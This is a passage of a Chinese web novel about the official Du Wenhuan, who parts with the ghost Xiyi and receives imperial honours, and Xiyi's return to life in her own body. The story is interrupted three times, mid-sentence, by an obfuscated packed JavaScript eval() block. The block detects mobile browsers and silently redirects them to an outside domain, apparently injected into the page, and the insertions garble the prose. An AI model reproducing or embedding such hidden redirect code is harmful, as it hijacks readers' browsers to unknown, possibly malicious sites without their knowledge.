杜文焕转过身,换上常服的大理寺丞陆甲朝他跑了过来。 “陆甲?” “杜大人,”杜甲原地喘了几口气,“好巧啊。” “嗯,巧。” 陆甲说:“我那时候才十岁,当时我同爹娘去的时候,陆老爷和爹娘去谈事,把我丢在一厢房里。丫鬟婆子给我端来了果子点心让我抓着吃,那些年纪大一些的并不把情绪表现在脸上,只是意味深长地看了我几眼。而年纪小一点的则在屋外说什么‘穷亲戚’、‘打秋风’。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12450338|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “她们如此讥笑你,你······” “我当时年纪小不知道她们说的是什么,只是觉得有这么多没吃过的好东西很开心。虽然自己身上穿的衣服跟她们比起来就像是地上捡的破布,但也没太多感觉。” 十多年前陆府“你们看他那样,活像个乡下来的瘦猴!” “什么像啊,他就是。不过要我说啊,他不像他爹娘那么没皮没脸的。我跟他说我家用来擦桌子的布料都比他身上那件要好,他听了之后,就立马把手上的糕点放下了,低着头,等我走了还偷偷抹眼泪呢。” “人贵有羞耻之心,他们家什么身份也敢来这里攀亲道戚?” 丫鬟婆子们叽叽喳喳议论着,声音不大,但就在屋外,即使不想听也全听去了。年幼的陆甲死死咬住嘴唇不让自己发出呜咽的声音,眼泪大颗大颗滴落在手背上。 陆甲觉得脸上湿漉漉的,用手背去擦,脸上的泪水却越擦越多。 忽然一声清脆稚气的呵斥打断了她们的议论:“他们也是陆氏子孙,轮得到你来说?” 丫鬟婆子们顿时噤声,小心翼翼地行礼:“大小姐,二小姐。” 陆甲好奇地朝窗外看去,一个七八岁左右的女娃正板着脸呵斥下人,她旁边还跟着一个粉雕玉琢的小娃娃。 “你们都下去吧。”陆大小姐吩咐。 “是。” 陆大小姐随即带着旁边那个小跟班走进厢房,见陆家坐在窗前,眼泪还未干,就明白他都听见了。 她见桌上还有些糕点,便指着一盘白色糕点道:“这个看起来很好吃,可以给我吃一块吗?” 陆甲愣愣地点点头,陆大小姐就拿了一块,正要放入口中,一旁的小团子扯了扯她的衣角,奶声奶气道:“姐姐,我也要吃。” “这是人家的,小梦,”陆大小姐无奈地哄她,“我的分你一半好不好,吃了之后,今天一天都不许哭哦。” 陆浮梦乖巧地点点头,陆大小姐就分给了她一半。 吃完之后,陆浮梦还眼巴巴看着桌上的糕点。 陆大小姐见状,急忙说点什么转移她的注意力:“待会我爹你伯父的世交要来拜访了,听说有个哥哥也会来,我们一起去隔壁玩好不好?” 陆浮梦听到有人要跟她玩,点点头,扯着陆大小姐的衣角跟着离开。 走之前,陆大小姐将一块帕子塞到陆甲手里,笑道:“擦一擦吧,不要理会那些人说的。” “我,我不一定与你同宗同源,你不觉得我的出身不好吗?” 她摇了摇头:“对我来说都是一样的。” 说完她就离开了。 “我倒没听说过陆浮梦还有个堂姐。”杜文焕听陆甲讲了一路的故事。 “我那时候对她印象深刻,”陆甲苦涩地笑了,“其实小孩子什么也不懂,只是长大后再想起,发现也没人再给我这种单纯的善意了。而且陆大小姐跟一富商的儿子指腹为婚,我只是个默默无闻的普通人,也没机会的。但没过多久,陆二老爷一家被卷入了一场冤案,全家都死了,陆大小姐也没能幸免。从那时起,我就下定决心要平反冤案,也不想再让这世间有冤案,不要再重复那样的悲剧。” 杜文焕听罢,也不知怎么安慰他好,只能拍了拍他的肩膀。 22. 分道 可还没等她与那只小猫玩耍,一阵古怪的感觉传来,希夷猛然抬头,是交给杜文焕那只陶罐被别人动了。 难道是杜文焕出什么事了?可是银锁又没什么动静。 来不及细想,希夷匆匆离开,往杜府西院赶去。 然而这时,胸口处传来疼痛,那是神秘女子在抽出她的魂魄时,打在上面的烙印。 它在发热就意味着她的身体出事了。 可是…… 希夷咬了咬下唇,犹疑了一会,最后往杜府看了一眼,又往另一边跑去。 …… 杜府,杜文焕正在前厅与家人一同用晚膳。 杜老爷此时已经和颜悦色的许多,之前那副刻板严肃的样子也缓和了。 而杜夫人给杜文焕夹菜也愈加频繁,只有展婉,对杜文焕一如既往,往日也是温温柔柔的长辈模样,并没什么变化。 杜夫人吃到一半,放下筷子,问乳母:“禹儿这孩子去哪了?才吃了几口就跑没影了。” 还未等乳母回答,杜老爷沉着声音道:“你往日太宠着他了,也没个分寸。长辈都在这吃饭,他跑来跑去像什么样子!” 杜夫人低声笑道:“他还只是个孩子。” 杜老爷也只是照例批评一番,往日杜禹也常这么做,他都没放在心上。 听了杜夫人的话,似乎颇为认同,也不多说话了。 见杜老爷不说话,乳母松了一口气,终于可以说上话:“小少爷刚刚在门外玩耍,奴婢这就去把他带来。” 可众人等了一会,乳母也没领着杜禹进来。 杜夫人叫来一个在旁侍候的丫鬟,说:“去看看怎么还不把小少爷叫进来。” “是。” 丫鬟很快进来了,说:“小少爷不在门外,听小厮说是跑去西院方向。乳母已经去找了。” 闻言,座中有二人脸色微变,都站起身来。 正在这时,乳母带着杜禹回来了。 只见他小脸上灰扑扑的,袖子上还沾着血。 见状,杜夫人本想责怪的心也都变成了柔情,急忙上去查看他。 “这是怎么了,又摔到哪里了?” 杜禹抬起手,哭着说:“娘~” 杜夫人一看,是手指上划了一个小口子,伤口不深,她心疼地说:“怎么就划伤了呢?” 乳母低着头说:“小少爷不小心碰碎了个罐子,划伤了手。” 边说,她边拿眼睛乱瞟,有几道落在杜文焕的身上。 听完,杜夫人对乳母冷笑:“你这贼骨头,就知道吃酒躲懒,让你看孩子都看不好。小少爷被惊住了,我拿你是问!还不快去请大夫!” 乳母战战兢兢地去了。 展婉也上前关心杜禹的伤势。 上下查看了一遍,杜禹衣袖上有些擦痕,但要说伤势也只有手上那个小口子。 展婉拍了拍杜禹的肩膀,柔声安慰了几句,对杜夫人说:“娘,我有个药箱,给小叔处理一下就好了。” 杜夫人淡淡地“嗯”了一声,也不叫乳母回来,对展婉说:“去拿吧。” “好。”展婉吩咐自己的丫鬟去东院取了来。 杜夫人边给小儿子上药边心疼地问:“这是去哪了,怎么搞成这个样子?” 杜禹的眼泪只浸湿了眼睫,委屈地诉苦说:“娘,我打碎了一只陶罐,是那罐子的碎片把我划伤的。” “!” 杜文焕腾地站起来,原本事不关己的冷漠眼神瞬间变得凶狠,冲过去抓住杜禹的手,厉声问:“你打碎的是哪里的陶罐?” 杜禹本想抽回手,可杜文焕的手劲极大,疼得他真的落下泪来。 为了摆脱杜文焕,他嗫嚅着说:“是书房的书架上。” “!”杜文焕恶狠狠地看了他一眼,吓得后者本要辩解的动作瑟缩了回去。 也不管身边的人,杜文焕将杜禹的手用力一甩,赶忙赶回西院。 西院一向是空寂而清幽的,也没什么名贵的花草虫鸟,可是就是那几丛翠竹,也被杜禹用小刀在够得到的低处划了几道刻痕。 来不及看这些,杜文焕快步穿过长廊,急切地推开书房的门。 “吱呀”一声门被推开。 果然如预料,里面一片狼藉,书架被推倒,上面的书横七竖八地铺在地上。 而那个被他藏于书架一角的陶罐此刻都变成了碎片,散落在桌角。 他无言取下外衫,蹲在地上,将碎片一块块捡起来。 这是与希夷连接的容器之一,必须先保存下来。 碎片十分锋利,即使他已经小心,也被划破了手指。 在杜文焕的鲜血接触到碎片时,一股力量从胸前佩戴的银锁里倾泻而出,从指尖到脚底,四肢百骸都像是被蚂蚁啃咬。 “这是强行结束契约的惩罚。”幽幽的女声从一个空的角落传出。 杜文焕回头一看,是希夷。 “我来吧。”希夷从黑暗的角落走出,似乎并不受这陶罐打碎的影响。 她走过来,晃了晃手指,陶罐的碎片从地面飞起,尽数落在那件外衫上。 杜文焕见她做完这一切,又将碎片包好。 “陶罐被摔碎,你有事吗?”他担忧地问。 希夷摇了摇头,伸出手将他扶起。 她的手冰冰凉凉的,小脸也是如白瓷一般苍白,但她是鬼,从脸色上压根看不出什么。 只有眉宇之间的犹疑悲伤之色,显示出不寻常。 杜文焕察觉到了,于是他问:“怎么了?你不大对劲。” 希夷捧起外衫包着的那堆碎片,说:“你知道这个陶罐为什么会碎吗?” 杜文焕想起那个被杜夫人宠坏了的小弟,皱了皱眉,咬牙切齿地说:“被杜夫人的那个混小子打碎的。” 希夷抿了抿嘴,摇头:“这陶罐上有你我的血契,不会轻易被打碎。既然它已经碎掉,说明我们二人的契约已经完成。我也没有待下去的理由了。” “什么?!”杜文焕压根没有想过这件事,这几日事件解决,他也没有想到会是契约的结束。 不曾想这一天来得这么快。 “怎么会呢……”杜文焕仔细思索当日与希夷定下的契约内容,“难道你的福气已经积累足够,要去转世投胎了么?” 希夷故作轻松地笑笑:“是啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12496792|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我要有自己的身体了,为我开心一下吧。” “……”杜文焕扯了扯嘴角,硬是将眉头舒展开,说,“那……你什么时候走?” “最多到明日。” 希夷见他硬扯出来的笑容,问:“你怎么了,不开心?” 她猜到一些理由,笑了笑,说:“这些日子我一直缠着你,如今我可以转世投胎,而你完成老师的遗愿,皇帝也会嘉奖你。这不是两全其美的结局么?” 杜文焕张了张嘴,心中的话转了几圈,终于还是说出口:“你不是缠着我,我……也想让你待在我身边。你是我唯一的朋友。” 听完这话,希夷愣了一下,杜文焕一直以来都是踽踽独行,身边的每个人都认为他不需要朋友。 他正直、孤僻,坚持着不可能的事,也没什么人会愿意扯上麻烦。 而他也许早就习惯了,但如今却说她是他的朋友。 她知道这话的分量。 如果可以,她也想继续和他成为朋友,可是她有着更重要的事。 而且她的时间已经不多了。 “我很高兴你这么说。”希夷主动握住他的手,“作为朋友,我希望你能开心。” 她歪了歪头,说,“一开始很少见你笑呢,你总是在忧心很多事。现在可以大部分麻烦都解决了,所以开心一些吧。” 顿了顿,她又说:“听说中秋节的时候,护城河边会放花灯,会有彩灯猜谜作诗,还有很多人,会很热闹。你不是前几日与人谈诗论酒么?到时候可以和你那些好友去看看。” “嗯。”杜文焕应下,他心中思绪烦乱,百转千回。 季棠那帮人算不得什么朋友,只是一般往来的人,多一个少一个也并无不同。 但既然希夷这么说,他也得让她放心。 听说与凡尘牵扯太多,牵挂太多的人,喝下孟婆汤的时候反而将这些事忘得越快。 这些都是从那些要送给她的话本里看来的,他不大看这些东西。 但也想知道她所喜欢的到底是什么。 想到这,他对希夷说:“有一样东西送你。” “是什么?”希夷眨巴眨巴眼睛,问。 杜文焕取出买下的话本,递给希夷,说:“这些不知道你喜不喜欢看。” 希夷接过,都是新出的一些话本,价格并不会便宜,所费银钱肯定不少。 “哇,”希夷惊叹道,右颊的酒窝愈深,“谢谢你!” 杜文焕见她喜欢也松了口气,尽管他并不大理解她为什么喜欢这种两个人互相纠缠,相爱相杀的话本。 希夷激动地翻开最上面那本叫《青梅误》的话本,迅速读了读。 终于读完最后一页,希夷合上书,感叹道:“哎,好惨啊这两个人,最后竟然分道扬镳了。” “这也是没办法的事,”杜文焕也看了那本书,“二人相互猜忌误会,最后终会形同陌路。” 希夷笑道:“不过似乎结局还未完结,也许会有转折。谢谢你送我的临别礼物。” 杜文焕看着希夷清澈而带着笑意的双眼,心中酸涩,说:“……那你再陪我一会吧。” “好啊。” 23. 皇恩 今天并非晴日,即使日上三竿,天还是灰蒙蒙的,厚重的云层笼罩在京城上空,凝聚的水汽只待一个时机就要从空中落下。 杜府内,今日杜文焕休沐,见从外头来了几个宫里的人,为首的太监见到杜文焕道了个好:“杜大人。” 杜文焕也算到这几日陛下的旨意必定下达,只是他见这太监手中却并无一物,甚是不解。 太监满脸堆笑,道明来意:“内臣是来传陛下口谕的。陛下让您立刻进宫面圣。” 杜文焕一怔,但很快反应过来,说:“请待我整换衣冠,便随你进宫。” 这太监却拒绝道:“不必了,杜大人,陛下的意思是让您立刻进宫。” 杜文焕不明白皇帝为何传得如此焦急,但也不好多问,就说:“那麻烦公公带路了。” “职责所在。” 宫城,乾坤殿内,近耳顺之年的崇福皇帝坐于榻上,观察棋局。一旁是一个十五六岁的美貌妃子,正在绣一只凤凰。 内侍禀报:“陛下,大理正杜文焕杜大人求见。” “让他进来。”皇帝说。 那个美貌妃子放下绣针,向皇帝行礼道:“那臣妾先回避。” 皇帝颔首,美貌妃子便去了内室。 杜文焕低头趋步,进来便跪下行礼:“臣杜文焕参见陛下,陛下万岁万万岁。” “嗯,起来吧。”皇帝问,“你棋艺如何?” 杜文焕恭恭敬敬回答:“略通一二。” “那便坐过来与朕对弈一局,不可留手。” “是。” 杜文焕坐到皇帝对面,手执白子。 皇帝黑子先行。 皇帝棋风凌厉,呈吞山倒海之势,步步紧逼。 杜文焕不疾不徐,伺机待发,转守为攻。 一局罢了,皇帝胜杜文焕三子。 皇帝古旧严肃的脸上露出一丝笑容:“你的棋艺不错。” 杜文焕道:“臣下惭愧,远逊于陛下。” “呵,这可不叫远逊。”皇帝轻笑,从厚重的喉咙里咕噜出几句低沉的话来,“你尚且年轻,朕胜你三子也算不得什么。看样子高太傅并未看错你。” 高太傅就是杜文焕的老师高琦。高琦一生经历两朝,也曾教授过当今皇帝,故皇帝尊他一声“太傅”。 杜文焕深知皇帝喜怒无常,不知他到底是什么意思,低眉垂眼等他说下去。 “你在殿试上,朕亲点你为探花。本以为你会留在京城,不想你居然自请离京。你还在外地任县令时,高琦就上书请求将你调回京城,奏疏中也提及你的政绩。确实不错,这次破获一案,也证明了他的眼光。你不过弱冠之年,就有如此才能,的确难得。” “臣惶恐。” 皇帝摩挲着一枚通体光滑的黑棋,所言虽是夸赞,脸上却无笑意,“高太傅桃李满天下,门下学生众多,可得之青睐的并不多。而这样极力荐举的,加上你,也不过两人而已……” 杜文焕听皇帝拖长声音,语气似有感叹,眼神中却透着怀疑和危险。 他知道该轮到他说话了。 “高大人对学生一向宽容爱护,臣的小才能得青睐实属荣幸。”杜文焕说,“臣的一点微薄之力必是忠于陛下,忠于朝廷的。” “哈哈哈,”皇帝大笑,“朕当然不曾怀疑过高太傅和你的忠诚。朕爱惜人才,自然不会埋没了你。” 还未等杜文焕说些什么,皇帝话锋一转,说:“大理寺内自然空缺众多,只是以你的才能,不必局限于大理寺。朕点你为探花时,犹记得你文辞甚美,这份才能没几人比得上。不如就入学士院,当个翰林学士如何?” 翰林学士参与起草诏令,而翰林学士中官至宰相的甚多,一般由皇帝十分信任的人担任。杜文焕才二十岁就任职翰林学士,这在维咸国从无先例。 “臣叩谢陛下圣恩!” “起身吧。”皇帝说,“这次你破案有功,除了这官职之外,可还有什么想要的赏赐?” 杜文焕站起身,侍立在一旁,闻言,说:“臣为陛下万死不辞,此乃臣分内之事。陛下圣恩已多,臣不敢再多要赏赐。” “你倒是谦虚,”皇帝笑道,“朕听说你回来之后,在杜府不大习惯。朕就赐你一座府邸。你想要哪里的?” 皇帝这话说明一早就把他和杜府的情况打听清楚,此时再辩解甚至推辞,会显得狡黠和不知好歹。 于是他说:“臣素闻东街白虎坊地处清幽之处,请陛下赐恩。” “好,朕知道了。” “谢陛下隆恩。” “嗯,”皇帝说,“你先下去吧。” “是,微臣告退。” …… 圣旨很快通过皇帝身边的宦官传达到杜府。 “……大理正杜文焕聪慧明达,博学广知,破案有功,进身学士院,充翰林学士,赐紫金鱼袋。” 紫金鱼袋乃是三品大官的章服,普通官员到四五十岁都不一定有此殊荣。 杜老爷听到这消息时,一向刻板严肃的面容上堆起了笑容,他的脸就像小贩做泥人时不小心将面皮都堆在一块,层层的褶子让脸显得奇怪,甚至有点不像人。 展婉脸上也带着喜色,她嫁到杜家已有三四年,虽未见过杜文焕几面,但也将他当做家人,此刻喜色由内而外,让人望见也不觉被感染。 而杜夫人也微微露出笑容,小儿子杜禹扭来扭去,并不安分,硬是被杜夫人摁住双肩,不许他跑。 只是接下来的话让这几人有些意外:“赐玄武坊宅子一座,奴仆十人,黄金五十两,绸缎二十匹。钦此。” 杜文焕领了圣旨,谢了圣恩。宣读的太监向他道喜:“恭喜杜大人。杜大人年轻有为,麒麟之才,可谓是京中翘楚啊。” “过奖过奖。”杜文焕作揖回礼。 太监也不多逗留,说:“那内臣先去向陛下复命了。” 杜文焕拱手:“慢走。” 待宫里的人都走后,杜老爷才上前,拍了拍杜文焕的肩膀说:“不错,果然是我杜家的好儿子。” 杜文焕并不为了这来之不易的夸奖而惊喜,淡淡地说了一句:“多谢父亲。” 杜老爷被这冷漠疏离的态度噎住了喉咙,往日他对杜文焕严肃刻板惯了,讽刺挖苦之言也没少说,如今就是想开口,却也不知怎么说话。 又想到自己乃是杜文焕的父亲,那些过去的话也是勉励他,于是心中又有了底气,问:“文焕,你要那宅子做什么?” 杜老爷的话也正问到了其他人心中,只是她们不好提。 杜文焕本也想跟他们说明,此时正好说清楚,便道:“这是陛下的赏赐,儿子怎么敢猜测?既然这是陛下的美意,那儿子不日就要搬离杜府。” 杜夫人泫然欲泣道:“文焕可是还责怪前几日禹儿弄乱书房之事?我们本是一家人,你尚未娶亲,又何必搬出去呢?” “陛下怎会听儿子的话,这自然有他的考量。”杜文焕说,“儿子只是住在他处,并非分家,请父亲母亲放心。” “……” 杜老爷和杜夫人二人不好多说什么,但二人脸上的笑容都变得有些勉强。 尤其是杜夫人,她抓住杜禹肩膀的力气愈发大,让后者直叫疼,而一向疼爱小儿子的她浑然不觉。 她的眼睛一会看着杜文焕,一会不自觉看向西院。 她的手缓缓移到腰间,那儿系着一枚香囊。 杜府上下都知道杜夫人酷爱花草,又擅调配香料,腰间常佩戴不同的香囊,行步有异香。 素来交好的京中贵妇向她讨要,她却一概回绝。 毕竟这香囊里的东西,不只是宜人的香。 而这杜文焕若是真的离开杜府,动手又少了多少机会。 她望向那个一直想跑走的孩子,之前闯了天大的祸她也一直觉得他可怜可爱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12506035|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但现在她一口怒气说不出,想骂这孩子,自己一直为他打算,他倒是只知道闯祸。 现在他倒是玩得开心,杜文焕刚有点功绩,还未成亲便有分家之意,到时候杜家财产这小混世魔王也不能得到一分! 杜老爷心中复杂,他不喜更不认同杜文焕这么做,但此刻他又能怎么办。 终是勉强打破僵局,笑道:“文焕,既然你已经决定,那也常回来看看。” “是。” …… 黄昏,天色愈发暗沉,偶尔有几滴雨珠落下。 西院书房内,杜文焕独立在窗前,时不时拨弄着那串青铜风铃。 “叮铃铃。”风铃摇动着身子,发出清脆悦耳的响声。 杜文焕的心被这摇摆的风铃声给扰乱了。 刚才面对圣旨上的喜讯仍然十分平静的杜文焕看着风铃竟然露出几分柔情。 “叮铃铃。”风铃又响了一声。 “你一直在等我吗?” 熟悉的声音。 他现在已经不会被神出鬼没的她吓到,甚至于跟刚开始不同,他很期待看到她。 “是,我一直在等你。” 杜文焕提起旁边的灯笼,又对希夷伸出手,说:“我最后送你一程吧。” 希夷虚握住杜文焕的手,他的手是温热的,却不让鬼觉得不适,“去东街。鬼魂在生前的地方走一圈,然后投胎。” “那我们走吧。” …… 东街,最后一丝阳光隐入远方的山中,天上下起了小雨。 街上还有三两行人忙着躲雨,偶尔可听到行人交谈的几句话。 可转入杜文焕之前遇到希夷的那条小巷,连个人影都不见了。 见一旁没人,杜文焕开口问幽幽飘在空中的希夷:“是这条路吗?” “嗯,一旦开始走这条路,我就无法回头了。”希夷对杜文焕露出一个笑容,她的眼神似乎是释然的,又似乎是不舍的。 “我陪你。”杜文焕脱口而出。 希夷往前走去,杜文焕在一旁默然陪她走。 快到尽头时,杜文焕有预感分别的时刻就要到了。 他顿住脚步,望着希夷虚幻而单薄的身影,问:“我还可以再见到你吗?” 希夷停住,她无法回头,她的声音飘散在风中,“也许不会,人这一生的缘分太过短暂。” “是啊……”杜文焕伸手,指尖将要触碰到希夷,“我希望你能投胎到一个好人家,这样我才好放心。” 希夷侧过脸笑了笑,她在烛火的映照下仿佛要乘风而去。 一步,两步,三步…… “再见了。”杜文焕不忍地转过身,可他只停了一会,又迅速回过头。 即使要见到她从她面前消失,也想见她最后一面,越久越好。 可是他身后哪里还有希夷的身影。 杜文焕手中的灯笼“啪嗒”一声落在地上,里面的烛火立刻熄灭了。 “唔!”杜文焕的心突然一阵抽痛,他不由得抓住胸口那片衣服,骨节分明的手指因用力而发白。 他失去了一个朋友,伤心是难免的,可他的心告诉他。 这不仅仅是伤心,而是痛苦。 这份奇怪的心情,这份即使她转世投胎,也想要见一见的心情。只是朋友之情吗? 他不知道,跌跌撞撞的脚步显示出此刻心情的不寻常。 刚才还是不疾不徐的小雨,此时雨下得愈发急,豆大的雨珠哗哗而下。 杜文焕却恍然未觉,雨水打湿了他的发冠和头发,从他俊秀的脸上滑落,袍子也湿哒哒依附在身上。 他保持着那个抓握胸口衣服的姿势一步步往前走,突然,手触碰到胸前的那枚银锁。 他怔怔地将它取下,放在手心,他隐隐约约感受到与她的连接。 契约不是已经消失了么? 他攥紧这枚银锁,往杜府走去。 24. 苏醒 清晨,带着暖意的阳光透过窗棂照进房中。 屋内布置雅致,墙上挂着几幅绘有锦绣山水的字画,一副未下完棋盘放在几案上,不远处便是一张梨木雕花牙床。床上铺设层层纱幔,隐隐约约可见一个身影安静地躺在床上。 鎏金竹节熏炉中早已焚起淡淡的熏香,渺渺烟气绕过桌案,藏进层层纱幔之中。 床上的姑娘似有所感,“唔”一声就要醒来。 希夷迷迷蒙蒙睁开眼,眼前的白色纱幔让她恍然,轻声嘟囔:“我这是上天了么?” 可是身体好重,比做鬼魂时要重多了。 外头的丫鬟本来就在守着她,耳朵自然灵敏,听到这动静,忙过来替她拉开纱幔,说:“二小姐。” 希夷:“?” 迷茫了一会,记忆逐渐清晰。她还没有灰飞烟灭,没有上天,只是回到原来的身体里了而已。 她看了一眼眼前打扮整齐的丫鬟,又环顾四周,心想,神秘女子曾答应过让她还魂之后给她一个身份。看这布置,想必是什么千金小姐。 这个丫鬟她也认得,叫佩珠,之前跟在神秘女子身边。 她问:“佩珠,你家主子呢?”她记得佩珠一直称呼那人为主子。 佩珠一边挂上纱幔,一边回答:“大小姐正在修养,暂时不见人。” 大小姐?感情还成了亲戚。 “这旁边没别人,她给我安排了什么身份?”希夷问。 “程家是南方金谷州金谷县的商贾之家,您是程家二小姐,从小身体不好,老爷夫人一直担心。这时一位道长游历到程家,将您收为弟子,此后您一直跟她住在山中,偶有书信。谁知家中遭变,程府被盗贼杀烧抢掠,洗劫一空。只有老爷和大小姐逃出,路中失散。两个月前,您与大小姐得到父亲的消息,在京城重逢,不料您昏睡不起,一直到现在。” 希夷惊叹道:“她还真是厉害,编得这样好。” 她忽然想起之前都没问过神秘女子的名字,便说:“那我这位姐姐叫什么名?” 佩珠回答:“玉和,程玉和。” 佩珠伺候她穿上衣裳,又扶她坐到铜镜前,替她梳妆。 希夷看着镜中的倒影,有些恍惚。 面前的女子乌发如云,花容雪肤,容色光洁,顾盼生辉,双颊粉嫩,眉如远山,口若含脂,见之忘俗。 不是苍白的双颊和嘴唇,希夷一时还不习惯。 替她梳好髻后,佩珠说:“二小姐,等会老爷在祠堂中等你。” “我爹?她······玉和姐姐真的把我爹从大理寺监狱带回来了?”希夷一时还不习惯这些称呼。 “咕——”不知道从哪传出的声音,希夷先是疑惑,而后明白过来,脸上泛出一层红晕,她还魂之后还是要吃饭的。这不争气的肚子。 “是。”佩珠最后替希夷插上一支珠钗,“您要先用早膳吗?” “不必了。”希夷焦急地站起身,她期待已久与家人见面的机会就在眼前,其他都不重要了。 ······ 祠堂,外头阳光正好,可是这间屋子里透着阴冷,希夷走进来的时候禁不住打了个寒颤。 一个中年男子正给这一众排位上香。听到身后的脚步声,缓缓回头。 他如今穿着整齐,只是脸上那块碗大的伤疤尤为可怖。 希夷站在门口,与他对视。 希夷幻想过许多再度与家人重逢时的场景,有伤感的,有愤怒的,可幻想中唯独没有如今这僵硬冷漠,又很沉重的场面。 “云儿。”程守节开口道。 “云儿?” 程守节说:“那位大人已经将所有事都告诉我了,你还没有想起自己的身世么?” “那位大人,你指的是玉和姐姐?” 程守节没有回答,他将手中的线香递给程希夷,说:“去上香吧。” 程希夷接过,怔怔地走到牌位前,案桌上摆着的牌位有几十之多,只是程家牌位只有三个,剩下的大多姓陆。 程希夷疑惑地转头问:“这是怎么回事?” “孩子,如你所见,你原本姓陆,是陆家的人。”程守节从胸口闷闷地叹出一口气,“这上面大都是当年巫术案中陆家死去的人。这三个程家的是我们的救命恩人。程守节曾经是爹的至交好友,十三年前皇帝火烧程府,是他救了我们。可惜帮了我们,却害了他一家。从那时起,我便发誓要用他的名字替他活下去。” 说到这,程守节忍不住抹泪。一回想当年的惨状,他就痛不欲生。 程希夷一点也想不起来,她的内心空洞洞的,感受不到任何悲伤,但还是沉默地给他们都一一上了香。 这三个程家的牌位分别刻着“程氏守节之位”、“程苏氏之位”、“程氏景星之位”。 景星?程希夷忽然想起困扰了多年的一个梦。梦中她指着天上的星问:”那是什么星?” 不过成为鬼魂之后她就不会再睡着了,这梦也就淡忘了许多。 见程希夷盯着最后那个牌位,程守节开口道:“这是我那好友的儿子,你与他本是指腹为婚,只可惜天意弄人,我和好友终究没能结为亲家。” 烟雾缭绕中,程希夷见到一个和程守节体型差不多大的男子站在他旁边,见她望过来,轻轻摇了摇头。 这些牌位的主人有些已经投胎转世,有些还留着怨气徘徊人间。 祠堂之中,有人形的魂魄,有只残留的一股怨气,还有歪七扭八,人不像人,鬼不像鬼的东西。 程希夷给他们唱了几句词,祝愿他们早日超生。 ······ 回到房里,程希夷颓然坐在椅子上,她眼神空洞地望着地面,一时竟不知该往何处去,也不知自己该做什么。 她本以为见到父亲之后,记忆就会浮现。可是没有,什么都没有。 就像一个旅人翻过九十九座山,度过九十九条河去寻找宝藏,忍受日晒雨淋,脚底磨出鲜血,到头来却发现那儿只有一堆石头。 没事的,没事的。 她拍拍自己的脸蛋,想像以前一样打起精神来。可连硬扯出一个笑容都做不到。 好难受,好难受。 她抬眼看着外头愈发浓烈的日光,阳光这么好,不如出去走走吧。 当鬼魂的时候恐惧阳光,白天必须寄生在物或人中,只有夜晚才能以本来的形态出现。 鬼魂与人一阴一阳,完全是两个世界,说起来也不怪那个人第一次见她感到害怕。 杜文焕。 程希夷闭了闭眼睛,好遥远的名字。 她摸了摸心口,但只要想起来就莫名有股酸涩的暖意。 颓废不是她的作风,找点事做。 没多久,程希夷就到了一茶楼。 她询问了几个路人,都说如果心里头不开心,想找点乐子,就去这茶楼。里面有个说书先生,讲起这古今中外的故事滔滔不绝,最适合放松娱乐。 一进茶楼,小二便迎了上来,满脸堆笑,问:“这位姑娘,您是要喝点什么茶呢?” “龙团茶。”程希夷往日在山上时只喝清泉,这茶师尊曾经喝过。 店小二:“这东西小店没有。” 程希夷略微思索了一下,说:“那上一壶你们这最好的茶。” “好嘞!” 一旁有个人本来在喝茶,闻言上 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季棠摆弄了一下扇子,笑说:“如果姑娘有兴趣,不如随在下去这楼上详说如何?” “不必了,”程希夷不知这公子揣着什么心思,回绝说,“我只喜欢听些故事,公子好意心领了。” “那确实可惜了,”季棠惋惜道,“在下与朋友有一诗酒会,今日相约作诗画画,姑娘是个美人,若是能加入,我们这灵感不说堪比子建,但也可追相如了。” 这话实在轻浮浪荡,邀请一个闺阁女子去众多男子的集会,怀着哪份心思不好说。 但程希夷并不大明白这话里的意思,以为只是简单的邀请,也没多在意。 谈话间,说书先生似乎要休息了,程希夷便起身就要离开。 季棠拦住她说:“不知何时还能再见到姑娘呢?” 程希夷发现这人跟狗皮膏药似的,怎么都甩不掉,心中郁结之事也没散开,出口便怀着三分怒气:“江湖之大,有缘自会见面。不过我与季公子想必没有这个缘分,告辞了。” 说完,头也不回地离开了。 身后的季棠眉头一松,自嘲地笑道:“我这模样的都被拒绝了?” 他又走到门前,那姑娘早没了影子。 身后有人唤道:“季棠?” 季棠回过头,是新上任的翰林杜文焕。 杜文焕一身月白色缎面圆领袍,袖口处绣有银线暗纹,腰间绛紫白玉腰带,上挂墨玉雕花腰佩,仪姿闲雅,如孤松碧竹般清冽冷峻。 “你在这门口望什么?”杜文焕问。 季棠刚才还想着自己这模样被拒绝,忽然又看到杜文焕,莫名有个想法:也许杜文焕这模样的才不会被拒绝吧! 